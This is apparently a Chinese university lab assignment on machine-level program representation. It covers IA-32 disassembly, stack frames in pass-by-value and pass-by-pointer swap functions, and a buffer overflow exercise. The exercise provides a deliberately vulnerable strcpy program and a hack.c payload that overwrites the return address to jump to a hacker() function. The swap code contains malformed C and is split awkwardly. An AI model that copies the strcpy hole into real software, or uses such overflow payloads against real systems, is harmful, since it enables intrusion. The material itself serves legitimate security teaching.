实验三 程序的机器级表示

实验内容：
1 C 语句与机器级指令的对应关系，IA-32 基本指令的执行；
2 C 语言程序中过程调用的执行过程和栈帧结构；
3 缓冲区溢出攻击。

实验目标：
1 掌握程序的机器级表示相关概念；
2 理解 C 语言程序对应机器级指令的执行和过程调用实现；
3 掌握程序的基本调试方法和相关实验工具的运用。

实验任务：
1 学习 MOOC 内容
https://www.icourse163.org/learn/NJU-1449521162
第四周 程序的机器级表示
第 4 讲 控制转移指令
第 5 讲 栈和过程调用
第 6 讲 缓冲区溢出

2 完成实验
2.1 C 语言程序如下，对程序代码进行反汇编，指出过程调用中相关语句，比较按值传递参数和按地址传递参数，画出过程调用中栈帧结构图，并给出解释说明。

```
#include <stdio.h>
int swap(*x, *y)
{
 int t=*x;
 *x=*y;
 *y=t;
}
void main()
{
 int a=15, b=22;
 swap(&a, &b);
 printf("a=%d\tb=%d\n", a, b);
}
#include <stdio.h>
int swap(x, y)
{
 int t=x;
 x=y;
 y=t;
}
void main()
```

```
{
 int a=15, b=22;
 swap(a, b);
 printf("a=%d\tb=%d\n", a, b);
}
```

2.2 编译执行如下 C 语言程序（bug.c 和 hack.c），指出该程序的漏洞，对程序代码进行反汇编，采用 gdb 跟踪程序执行，分析程序执行过程中的栈帧结构，改变 hack.c 程序代码中的输入字符串 code，使程序转到攻击函数 hacker()执行。画出程序执行过程中的栈帧结构图，并给出解释说明。

C 语言程序 1：bug.c

```
#include <stdio.h>
#include "string.h"
void outputs(char *str)
{
 char buffer[16];
 strcpy(buffer, str);
 printf("%s\n", buffer);
}
void hacker(void)
{
 printf("being hacked \n");
}
int main(int argc, char *argv[])
{
 outputs(argv[1]);
 return;
}
```

C 语言程序 2：hack.c

```
#include <stdio.h>
char code[]="0123456789ABCDEFXXXX"
"\x11\x84\x04\x08"
"\x00";
int main(void)
{
 char *arg[3];
 arg[0]= "./bug";
 arg[1]=code;
 arg[2]=NULL;
 execve(arg[0], arg, NULL);
 return 0;
}
```

4 提交报告

实验报告（word 格式）、程序代码拷贝到一个文件夹中，命名为：
实验 n
其中，n=1…6 为第 n 次实验
课程结束时，将这 6 个文件夹拷贝到同一个文件夹中，命名为如下格式：
班号-学号-姓名
以班为单位一起提交。